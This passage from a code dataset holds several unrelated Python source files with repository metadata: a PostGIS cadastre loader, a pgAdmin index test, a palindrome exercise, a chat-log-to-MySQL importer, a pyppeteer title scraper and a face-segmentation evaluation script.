= os.path.join(path_to_data, \"o_map.csv\")\n    path_to_pe = os.path.join(path_to_data, \"o_pe.csv\")\n    path_to_prc = os.path.join(path_to_data, \"o_prc.csv\")\n    path_to_capa = os.path.join(path_to_data, \"OB_CaPa.shp\")\n    path_to_cabu = os.path.join(path_to_data, \"Plan/B_CaBu.shp\")\n    path_to_canu = os.path.join(path_to_data, \"Plan/B_CaNu.shp\")\n    path_to_geli = os.path.join(path_to_data, \"Plan/B_GeLi.shp\")\n    path_to_gepn = os.path.join(path_to_data, \"Plan/B_GePn.shp\")\n    path_to_gept = os.path.join(path_to_data, \"Plan/B_GePt.shp\")\n    path_to_inli = os.path.join(path_to_data, \"Plan/B_InLi.shp\")\n    path_to_inpt = os.path.join(path_to_data, \"Plan/B_InPt.shp\")\n    path_to_toli = os.path.join(path_to_data, \"Plan/B_ToLi.shp\")\n    path_to_topt = os.path.join(path_to_data, \"Plan/B_ToPt.shp\")\n    path_to_mu = os.path.join(path_to_data, \"Plan/A_AdMu.shp\")\n\n\n    cadutils.checkFile(path_to_da)\n    cadutils.checkFile(path_to_map)\n    cadutils.checkFile(path_to_pe)\n    cadutils.checkFile(path_to_prc)\n    make_checks()\n\n    pg_host = os.environ[\"CAD_PG_HOST\"]\n    database_name = os.environ[\"CAD_DATABASE_NAME\"]\n    user_name = os.environ[\"CAD_DB_USER_NAME\"]\n    user_password = os.environ[\"CAD_DB_USER_PASSWORD\"]\n\n    conn = psycopg2.connect(\"host=%s dbname=%s user=%s password=%s\" % (pg_host, database_name, user_name, user_password))\n\n    check_postgis()\n\n    print(\"* \\n Creating tables \\n\")\n    create_tables(conn)\n    print(\"* \\n Loading tables \\n\")\n\n    copy_from_csv_to_postgres_inserts(conn, path_to_da, \"da\", [\n        \"da\", \"divname\", \"dan1\"\n    ], sep=\"|\")\n\n    copy_from_csv_to_postgres_inserts(conn, path_to_map, \"map\", [\n        \"capakey\", \"pe\", \"adr1\", \"adr2\", \"sl1\", \"prc\", \"na1\"\n    ], sep=\"|\")\n\n    copy_from_csv_to_postgres_inserts(conn, path_to_pe, \"pe\", [\n        \"pe\", \"adr1\", \"adr2\", \"daa\",\"lt\",\"pos\"\n    ], sep=\"|\")\n\n    copy_from_csv_to_postgres_inserts(conn, path_to_prc, \"prc\", [\n        \"capakey\", \"daa\", \"sl1\", \"prc\", \"na1\",\"co1\",\"ha1\",\"ri1\",\"rscod\",\"ord\"\n    ], sep=\"|\")\n\n    load_shapefile(conn, \"capa\", path_to_capa, [\n        'CAPAKEY', 'CAPATY', 'SHAPE_AREA', 'SHEET', 'da',\n        'section', 'radical', 'exposant', 'bis', 'puissance'\n    ])\n    \n    load_shapefile(conn, \"cabu\", path_to_cabu, [\n        'CABUTY', 'SHEET'\n    ])\n\n    load_shapefile(conn, \"canu\", path_to_canu, [\n        'CANUAN', 'CANUTX', 'SHEET'\n    ])\n\n    load_shapefile(conn, \"geli\", path_to_geli, [\n        'GELITY', 'SHEET'\n    ])\n\n    load_shapefile(conn, \"gepn\", path_to_gepn, [\n        'GEPNTY', 'GEPNNA', 'SHEET'\n    ])\n\n    load_shapefile(conn, \"gept\", path_to_gept, [\n        'GEPTTY', 'GEPTNA', 'SHEET'\n    ])\n\n    load_shapefile(conn, \"inli\", path_to_inli, [\n        'INLITY', 'INLITX', 'SHEET'\n    ])\n\n    load_shapefile(conn, \"inpt\", path_to_inpt, [\n        'INPTTY', 'INPTTX', 'SHEET'\n    ])\n\n    load_shapefile(conn, \"toli\", path_to_toli, [\n        'TOLITY', 'TOLITX', 'SHEET'\n    ])\n\n    load_shapefile(conn, \"topt\", path_to_topt, [\n        'TOPTTY', 'TOPTTX', 'TOPTAN', 'SHEET'\n    ])\n    \n    refresh_materialized_view(conn)\n    \n    print(\"* \\n Done \\n\")\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "IMIO/import_cadastre", "sub_path": "seedPostgres2017.py", "file_name": "seedPostgres2017.py", "file_ext": "py", "file_size_in_byte": 6068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.basename", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 32, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "fiona.open", "line_number": 61, "usage_type": "call"}, {"api_name": "shapely.geometry.shape", "line_number": 63, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 77, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "cadutils.checkFile", "line_number": 100, "usage_type": "call"}, {"api_name": "cadutils.checkFile", "line_number": 101, "usage_type": "call"}, {"api_name": "cadutils.checkFile", "line_number": 102, "usage_type": "call"}, {"api_name": "cadutils.checkFile", "line_number": 103, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 106, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 109, "usage_type": "attribute"}, {"api_name": "psycopg2.connect", "line_number": 111, "usage_type": "call"}]}
{"seq_id": "34623024176", "text": "import json\nimport uuid\n\nfrom regression import test_utils as utils\nfrom regression import parent_node_dict\nfrom pgadmin.utils.route import BaseTestGenerator\nfrom pgadmin.browser.server_groups.servers.databases.tests import utils as \\\n    database_utils\nfrom pgadmin.browser.server_groups.servers.databases.schemas.tests import \\\n    utils as schema_utils\nfrom pgadmin.browser.server_groups.servers.databases.schemas.tables.tests \\\n    import utils as tables_utils\n\n\nclass IndexesAddTestCase(BaseTestGenerator):\n    \"\"\"This class will add new index to existing table column\"\"\"\n    scenarios = [\n        ('Add index Node URL', dict(url='/browser/index/obj/'))\n    ]\n\n    def setUp(self):\n        self.db_name = parent_node_dict[\"database\"][-1][\"db_name\"]\n        schema_info = parent_node_dict[\"schema\"][-1]\n        self.server_id = schema_info[\"server_id\"]\n        self.db_id = schema_info[\"db_id\"]\n        db_con = database_utils.connect_database(self, utils.SERVER_GROUP,\n                                                 self.server_id, self.db_id)\n        if not db_con['data'][\"connected\"]:\n            raise Exception(\"Could not connect to database to add a table.\")\n        self.schema_id = schema_info[\"schema_id\"]\n        self.schema_name = schema_info[\"schema_name\"]\n        schema_response = schema_utils.verify_schemas(self.server,\n                                                      self.db_name,\n                                                      self.schema_name)\n        if not schema_response:\n            raise Exception(\"Could not find the schema to add a table.\")\n        self.table_name = \"table_for_column_%s\" % (str(uuid.uuid4())[1:6])\n        self.table_id = tables_utils.create_table(self.server, self.db_name,\n                                                  self.schema_name,\n                                                  self.table_name)\n\n    def runTest(self):\n        \"\"\"This function will add index to existing table column.\"\"\"\n        self.index_name = \"test_index_add_%s\" % (str(uuid.uuid4())[1:6])\n        data = {\"name\": self.index_name,\n                \"spcname\": \"pg_default\",\n                \"amname\": \"btree\",\n                \"columns\": [\n                    {\"colname\": \"id\", \"sort_order\": False, \"nulls\": False}]}\n        response = self.tester.post(\n            self.url + str(utils.SERVER_GROUP) + '/' +\n            str(self.server_id) + '/' + str(self.db_id) +\n            '/' + str(self.schema_id) + '/' + str(self.table_id) + '/',\n            data=json.dumps(data),\n            content_type='html/json')\n        self.assertEquals(response.status_code, 200)\n\n    def tearDown(self):\n        # Disconnect the database\n        database_utils.disconnect_database(self, self.server_id, self.db_id)\n", "repo_name": "luvres/armhf", "sub_path": "pgadmin/pgadmin4/web/pgadmin/browser/server_groups/servers/databases/schemas/tables/indexes/tests/test_indexes_add.py", "file_name": "test_indexes_add.py", "file_ext": "py", "file_size_in_byte": 2748, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pgadmin.utils.route.BaseTestGenerator", "line_number": 15, "usage_type": "name"}, {"api_name": "regression.parent_node_dict", "line_number": 22, "usage_type": "name"}, {"api_name": "regression.parent_node_dict", "line_number": 23, "usage_type": "name"}, {"api_name": "pgadmin.browser.server_groups.servers.databases.tests.utils.connect_database", "line_number": 26, "usage_type": "call"}, {"api_name": "pgadmin.browser.server_groups.servers.databases.tests.utils", "line_number": 26, "usage_type": "name"}, {"api_name": "regression.test_utils.SERVER_GROUP", "line_number": 26, "usage_type": "attribute"}, {"api_name": "regression.test_utils", "line_number": 26, "usage_type": "name"}, {"api_name": "pgadmin.browser.server_groups.servers.databases.schemas.tests.utils.verify_schemas", "line_number": 32, "usage_type": "call"}, {"api_name": "pgadmin.browser.server_groups.servers.databases.schemas.tests.utils", "line_number": 32, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 37, "usage_type": "call"}, {"api_name": "pgadmin.browser.server_groups.servers.databases.schemas.tables.tests.utils.create_table", "line_number": 38, "usage_type": "call"}, {"api_name": "pgadmin.browser.server_groups.servers.databases.schemas.tables.tests.utils", "line_number": 38, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 44, "usage_type": "call"}, {"api_name": "regression.test_utils.SERVER_GROUP", "line_number": 51, "usage_type": "attribute"}, {"api_name": "regression.test_utils", "line_number": 51, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 54, "usage_type": "call"}, {"api_name": "pgadmin.browser.server_groups.servers.databases.tests.utils.disconnect_database", "line_number": 60, "usage_type": "call"}, {"api_name": "pgadmin.browser.server_groups.servers.databases.tests.utils", "line_number": 60, "usage_type": "name"}]}
{"seq_id": "32045213317", "text": "from pathlib import Path\nimport sys\n\nparent_dir = Path(__file__).parent\nfile_name = Path(__file__).stem\n\nsys.stdin = open(f\"{parent_dir}\\{file_name} input.txt\")\ninput = sys.stdin.readline\n\n\n\ndef find_longest_palindrome_in_row(matrix):\n    # 가장 먼 곳에서부터 가까이 오면서 회문 판별하기\n    longest_len = 1\n\n    for row in range(N):\n        for col in range(N):\n            # 먼 곳에서부터 오면서\n            for end in range(N - 1, col, -1):\n                # 처음과 같은 걸 찾는다.\n                if matrix[row][col] == matrix[row][end]:\n                    length = end - col + 1\n                    # 구간이 현재 최대 길이보다 짧다면 건너띈다.\n                    if length < longest_len:\n                        break\n                    # 처음과 같은 문자를 기점으로 점점 좁혀오고,\n                    for diff in range(length // 2):\n                        # 중간에 틀린 게 있으면 종료 후, 다시 처음과 같은 걸 찾는다.\n                        if matrix[row][col + diff] != matrix[row][end - diff]:\n                            break\n                    else:\n                        longest_len = length if length > longest_len else longest_len\n            # 처음과 같아지면 다음 글자로 완전히 넘어간다.\n    \n    return longest_len\n\n\ndef find_longest_palindrome_in_col(matrix):\n    # 가장 먼 곳에서부터 가까이 오면서 회문 판별하기\n    longest_len = 1\n\n    # 먼 곳에서부터 오면서\n    for col in range(N):\n        for row in range(N):\n            for end in range(N - 1, row, -1):\n                # 처음과 같은 걸 찾는다.\n                if matrix[row][col] == matrix[end][col]:\n                    length = end - row + 1\n                    if length < longest_len:\n                        break\n                    # 그 애를 기점으로 점점 좁혀오고,\n                    for diff in range(length // 2):\n                        # 중간에 틀린 게 있으면 종료 후, 다시 처음과 같은 걸 찾는다.\n                        if matrix[row + diff][col] != matrix[end - diff][col]:\n                            break\n                    else:\n                        longest_len = length if length > longest_len else longest_len\n            # 처음과 같아지면 다음 글자로 완전히 넘어간다.\n\n    return longest_len\n\nN = 100\n\nT = 10\nfor test_case in range(1, T + 1):\n    input()\n    matrix = [list(input()) for _ in range(N)]\n    longest_in_row = find_longest_palindrome_in_row(matrix)\n    longest_in_col = find_longest_palindrome_in_col(matrix)\n    \n    if longest_in_row > longest_in_col:\n        print(\"#{} {}\".format(test_case, longest_in_row))\n    else:\n        print(\"#{} {}\".format(test_case, longest_in_col))\n\n", "repo_name": "adiens916/NOTE-algorithm", "sub_path": "problems/SW_Expert_Academy/0817 - String/회문2.py", "file_name": "회문2.py", "file_ext": "py", "file_size_in_byte": 2812, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.Path", "line_number": 4, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 8, "usage_type": "attribute"}]}
{"seq_id": "72959307751", "text": "import pymysql # pip install pymysql\nimport re\nimport datetime\n\n# DB\nDBNAME = ''\nPASSWORD = ''\nTABLENAME = ''\n\n# Others\nTEXTPATH = ''\nMYNAME = ''\nYOURNAME = ''\n\n\n\ndef FindFirstMatch(str, c):\n    for i in range(len(str)):\n        if str[i] == c:\n            return i;\n\n\ndef ReadTalks(path):\n    f = open(path, 'r', encoding='utf-8-sig')\n\n    return f.readlines()\n\n\n# [(sender, receiver, time, msg), ...]\ndef InsertTalks(table, elems):\n    conn = pymysql.connect(host='localhost', user='root', password=PASSWORD, db=DBNAME, charset='utf8')\n    cursor = conn.cursor()\n    sql = 'insert into ' + table + ' (Sender, Receiver, Time, Text) values (%s, %s, %s, %s)'\n    cursor.executemany(sql, elems)\n    conn.commit()\n    conn.close()\n\n\n# ex) 2016-06-10 01:50 PM\ndef ConvertDateTimeFormat(time):\n    return datetime.datetime.strptime(time, '%Y-%m-%d %I:%M %p').strftime('%Y-%m-%d %H:%M')\n\n\n# Incomplete code that is inefficient and hard to read\ndef XtractElems(talks):\n    elems = []\n    for talk in talks:\n        i = FindFirstMatch(talk, ',')\n\n        if i == None:\n            print('flag line')\n            continue\n\n        datetimes = talk[:i].split(' ')\n        year = datetimes[0][:-1]\n        month = datetimes[1][:-1]\n        day = datetimes[2][:-1]\n        ampm = datetimes[3]\n        time = datetimes[4]\n\n        j = FindFirstMatch(talk[i:], ':')\n        senderMsg = talk[i:]\n\n        sender = senderMsg[2:j].strip()\n        msg = senderMsg[j+1:].strip()\n\n        if ampm == '오전':\n            ampm = 'AM'\n        else:\n            ampm = 'PM'\n\n        if sender == '회원님':\n            sender = MYNAME\n            receiver = YOURNAME\n        else:\n            sender = YOURNAME\n            receiver = MYNAME\n\n        elems.append((\n            sender,\n            receiver,\n            ConvertDateTimeFormat(year + '-' + month + '-' + day + ' ' + time + ' ' + ampm),\n            msg))\n\n    return elems\n\n\n# main()\ntalks = ReadTalks(TEXTPATH)\nelems = XtractElems(talks)\nInsertTalks(TABLENAME, elems)\n", "repo_name": "DaEunKim/KakaoTalkToMySQL", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2012, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pymysql.connect", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "attribute"}]}
{"seq_id": "23027585407", "text": "import asyncio\nimport json\nimport re\n\nimport lxml.html\nimport pyppeteer\n\nimport pandas as pd\n\nfile_path = 'tmp.csv'\ntmp = pd.read_csv(file_path, sep='\\t')\n\nURLS = ['http://'+ x[2:-1] for x in list(tmp['d1'].append(tmp['d2'].append(tmp['d3'])).dropna())]\n\nasync def get_metadata_from_url(browser, url):\n    page = await browser.newPage()\n    await page.setViewport({'width': 1680, 'height': 1050})\n    await page.setUserAgent('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36')\n\n    try:\n        await page.goto(url, timeout=20000)  # 10 seconds\n    except Exception as e:\n        return {\"url\": url, \"titles\": None, \"keywords\": None, \"error\": str(e)}\n\n    html = await page.content()\n\n    tree = lxml.html.fromstring(html)\n    \n    title = tree.find('.//title')\n    if title is not None:\n        title = title.text_content().strip()\n    \n    keywords = tree.find('.//meta[@name=\"keywords\"]')\n    if keywords is not None:\n        keywords = keywords.attrib.get('content', '').strip()\n\n    await page.close()\n\n    return {\n        'url': url,\n        'title': title,\n        'keywords': keywords,\n    }\n\ndef chunkify(seq, size):\n    return (seq[pos:pos + size] for pos in range(0, len(seq), size))\n\nasync def main():\n    browser = await pyppeteer.launch(\n        headless=False,\n        args=['--window-size=10,10']\n    )\n\n    # # список урлов из файла\n    # with open('titles-urls.txt', 'r') as f:\n    #     URLS = [line.strip() for line in f.read().split('\\n') if line.strip()]\n\n    results = []\n    chunks = chunkify(URLS, 10)\n    for chunk in chunks:\n        tasks = [get_metadata_from_url(browser, url) for url in chunk]\n        chunk_results = await asyncio.gather(*tasks)\n\n        for result in chunk_results:\n            for k, v in result.items():\n                print(f'{k:<10s} {v}')\n            print('-' * 80)\n\n        results += chunk_results\n\n    with open('titles-pyppeteer.json', 'w') as f:\n        json.dump(results, f)\n    print('results saved: titles-pyppeteer.json')\n\n    await browser.close()\n    \nif __name__ == '__main__':\n    asyncio.get_event_loop().run_until_complete(\n        main()\n    )\n", "repo_name": "GoryachevaT/newprolab-10.0", "sub_path": "my_solutions/project01/other_useful_shit/titles-pyppeteer.py", "file_name": "titles-pyppeteer.py", "file_ext": "py", "file_size_in_byte": 2207, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "lxml.html.html.fromstring", "line_number": 27, "usage_type": "call"}, {"api_name": "lxml.html.html", "line_number": 27, "usage_type": "attribute"}, {"api_name": "lxml.html", "line_number": 27, "usage_type": "name"}, {"api_name": "pyppeteer.launch", "line_number": 49, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 62, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 72, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 78, "usage_type": "call"}]}
{"seq_id": "34356490996", "text": "\nimport os\nimport time\nimport torch\nimport datetime\nimport numpy as np\n\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torchvision.utils import save_image\nfrom torchvision import transforms\n\nimport cv2\nimport PIL\nfrom unet_encoder2 import unet\nfrom utils import *\nfrom PIL import Image\n\nfrom iou import IoU\n\nCLASSES = [\n  'background', 'skin', 'nose', 'eye_g', 'l_eye', 'r_eye', 'l_brow',\n  'r_brow', 'l_ear', 'r_ear', 'mouth', 'u_lip', 'l_lip', 'hair', 'hat', \n  'ear_r', 'neck_l', 'neck', 'cloth'\n]\n\nclass AverageMeter(object):\n  def __init__(self):\n    self.val = None\n    self.sum = None\n    self.cnt = None\n    self.avg = None\n    self.ema = None\n    self.initialized = False\n\n  def update(self, val, n=1):\n    if not self.initialized:\n      self.initialize(val, n)\n    else:\n      self.add(val, n)\n\n  def initialize(self, val, n):\n    self.val = val\n    self.sum = val * n\n    self.cnt = n\n    self.avg = val\n    self.ema = val\n    self.initialized = True\n\n  def add(self, val, n):\n    self.val = val\n    self.sum += val * n\n    self.cnt += n\n    self.avg = self.sum / self.cnt\n    self.ema = self.ema * 0.99 + self.val * 0.01\n\nEPS = 1e-10\ndef _fast_hist(true, pred, num_classes):\n    mask = (true >= 0) & (true < num_classes)\n    hist = torch.bincount(\n        num_classes * true[mask] + pred[mask],\n        minlength=num_classes ** 2,\n    ).reshape(num_classes, num_classes).float()\n    return hist\n\n\ndef overall_pixel_accuracy(hist):\n    \"\"\"Computes the total pixel accuracy.\n    The overall pixel accuracy provides an intuitive\n    approximation for the qualitative perception of the\n    label when it is viewed in its overall shape but not\n    its details.\n    Args:\n        hist: confusion matrix.\n    Returns:\n        overall_acc: the overall pixel accuracy.\n    \"\"\"\n    correct = torch.diag(hist).sum()\n    total = hist.sum()\n    overall_acc = correct / (total + EPS)\n    return overall_acc\n\ndef inter_and_union(pred, mask, num_class):\n  pred = np.asarray(pred, dtype=np.uint8).copy()\n  mask = np.asarray(mask, dtype=np.uint8).copy()\n\n  # 255 -> 0\n  pred += 1\n  mask += 1\n  pred = pred * (mask > 0)\n\n  inter = pred * (pred == mask)\n  (area_inter, _) = np.histogram(inter, bins=num_class, range=(1, num_class))\n  (area_pred, _) = np.histogram(pred, bins=num_class, range=(1, num_class))\n  (area_mask, _) = np.histogram(mask, bins=num_class, range=(1, num_class))\n  area_union = area_pred + area_mask - area_inter\n\n  return (area_inter, area_union)\n\ndef transformer(resize, totensor, normalize, centercrop, imsize):\n    options = []\n    if centercrop:\n        options.append(transforms.CenterCrop(160))\n    if resize:\n        options.append(transforms.Resize((imsize,imsize), interpolation=PIL.Image.NEAREST))\n    if totensor:\n        options.append(transforms.ToTensor())\n    if normalize:\n        options.append(transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)))\n    transform = transforms.Compose(options)\n    \n    return transform\n\ndef transform_label(resize, totensor, normalize, centercrop):\n    options = []\n    #if centercrop:\n    #    options.append(transforms.CenterCrop(160))\n    #if resize:\n    #    options.append(transforms.Resize((self.imsize,self.imsize)))\n    if totensor:\n        options.append(transforms.ToTensor())\n    if normalize:\n        options.append(transforms.Normalize((0, 0, 0), (0, 0, 0)))\n    transform = transforms.Compose(options)\n    return transform\n\ndef make_dataset(dir):\n    images = []\n    labels = []\n    assert os.path.isdir(dir), '%s is not a valid directory' % dir\n    for f in os.listdir(dir):\n        images.append(os.path.join(dir, f))\n        labels.append(os.path.join(\"./data/CelebAMask-HQ/CelebAMaskHQ-mask\", f[:-4] + \".png\"))\n   \n    return images, labels\n\nclass Tester(object):\n    def __init__(self, config):\n        # exact model and loss\n        self.model = config.model\n\n        # Model hyper-parameters\n        self.imsize = config.imsize\n        self.parallel = config.parallel\n\n        self.total_step = config.total_step\n        self.batch_size = 128 #config.batch_size\n        self.num_workers = config.num_workers\n        self.g_lr = config.g_lr\n        self.lr_decay = config.lr_decay\n        self.beta1 = config.beta1\n        self.beta2 = config.beta2\n        self.pretrained_model = config.pretrained_model\n\n        self.img_path = config.img_path\n        self.label_path = config.label_path \n        self.log_path = config.log_path\n        self.model_save_path = config.model_save_path\n        self.sample_path = config.sample_path\n        self.log_step = config.log_step\n        self.sample_step = config.sample_step\n        self.model_save_step = config.model_save_step\n        self.version = config.version\n\n        # Path\n        self.log_path = os.path.join(config.log_path, self.version)\n        self.sample_path = os.path.join(config.sample_path, self.version)\n        self.model_save_path = os.path.join(config.model_save_path, self.version)\n        self.test_label_path = config.test_label_path\n        self.test_color_label_path = config.test_color_label_path\n        self.test_image_path = config.test_image_path\n\n        # Test size and model\n        self.test_size = config.test_size\n        self.model_name = config.model_name\n\n        self.build_model()\n\n    def test(self):\n        transform = transformer(True, True, True, False, self.imsize) \n        label_transformer = transform_label(True, True, False, False)\n        test_paths, label_paths = make_dataset(self.test_image_path)\n        make_folder(self.test_label_path, '')\n        make_folder(self.test_color_label_path, '') \n        self.G.load_state_dict(torch.load(os.path.join(self.model_save_path, self.model_name)))\n        self.G.eval() \n        batch_num = int(self.test_size / self.batch_size)\n\n        inter_meter = AverageMeter()\n        union_meter = AverageMeter()\n        iou_meter = IoU(19)\n        accs = []\n        for i in range(batch_num):\n            print (i)\n            imgs = []\n            lbls = []\n            paths = []\n            for j in range(self.batch_size):\n                path = test_paths[i * self.batch_size + j]\n                paths.append(path.split(\"/\")[-1][:-4])\n                lpath = label_paths[i * self.batch_size + j]\n                img = transform(Image.open(path))\n                lbl = label_transformer(Image.open(lpath))[0]\n                imgs.append(img)\n                lbls.append(lbl)\n            imgs = torch.stack(imgs) \n            imgs = imgs.cuda()\n            labels_predict = self.G(imgs)\n            labels_predict_plain = generate_label_plain(labels_predict, 64)\n            labels_predict_color = generate_label(labels_predict, 64)\n\n            lbls = np.stack(lbls)\n\n            inter, union = inter_and_union(labels_predict_plain, lbls, 19)\n            inter_meter.update(inter)\n            union_meter.update(union)\n\n            iou_meter.add(torch.tensor(labels_predict_plain), torch.tensor(lbls))\n\n            hist = _fast_hist(torch.tensor(lbls).long(),torch.tensor(labels_predict_plain).long(),19)\n            acc = overall_pixel_accuracy(hist)\n            accs.append(acc)\n\n            for k in range(self.batch_size):\n                #cv2.imwrite(os.path.join(self.test_label_path, str(i * self.batch_size + k) +'.png'), labels_predict_plain[k])\n                #save_image(labels_predict_color[k], os.path.join(self.test_color_label_path, str(i * self.batch_size + k) +'.png'))\n                cv2.imwrite(os.path.join(self.test_label_path, paths[k] +'.png'), labels_predict_plain[k])\n                save_image(labels_predict_color[k], os.path.join(self.test_color_label_path, paths[k] +'.png'))\n        iou = inter_meter.sum / (union_meter.sum + 1e-10)\n        ious = []\n        for i, val in enumerate(iou):\n          print('IoU {}: {}'.format(CLASSES[i], val * 100))\n          ious.append(val)\n\n        ious = np.array(ious)\n        ious = ious[~np.isnan(ious)]\n        ind = np.argpartition(ious, -5)[-5:]\n        top5 = ious[ind]\n        iou, miou = iou_meter.value()\n        print([iou, miou])\n        iou = iou[~np.isnan(iou)]\n        ind = np.argpartition(iou, -5)[-5:]\n        top5_1 = ious[ind]\n        print('Mean IoU: {}, Top 5 Mean IoU: {}, Other calcTop 5 Mean IoU: {}, Pixel Acc: {}'.format(iou.mean() * 100, np.mean(top5), np.mean(top5_1), np.mean(np.array(accs))))\n\n    def build_model(self):\n        self.G = unet().cuda()\n        if self.parallel:\n            self.G = nn.DataParallel(self.G)\n\n        # print networks\n        print(self.G)\n", "repo_name": "tzofi/physically-disentangled-representations", "sub_path": "segmentation/tester.py", "file_name": "tester.py", "file_ext": "py", "file_size_in_byte": 8516, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.bincount", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.diag", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 85, "usage_type": "attribute"}, {"api_name": "numpy.histogram", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 95, "usage_type": "call"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 103, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 103, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 105, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 105, "usage_type": "name"}, {"api_name": "PIL.Image", "line_number": 105, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 107, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 107, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 109, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 109, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 110, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 110, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 121, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 121, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 123, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 123, "usage_type": "name"}, {"api_name": 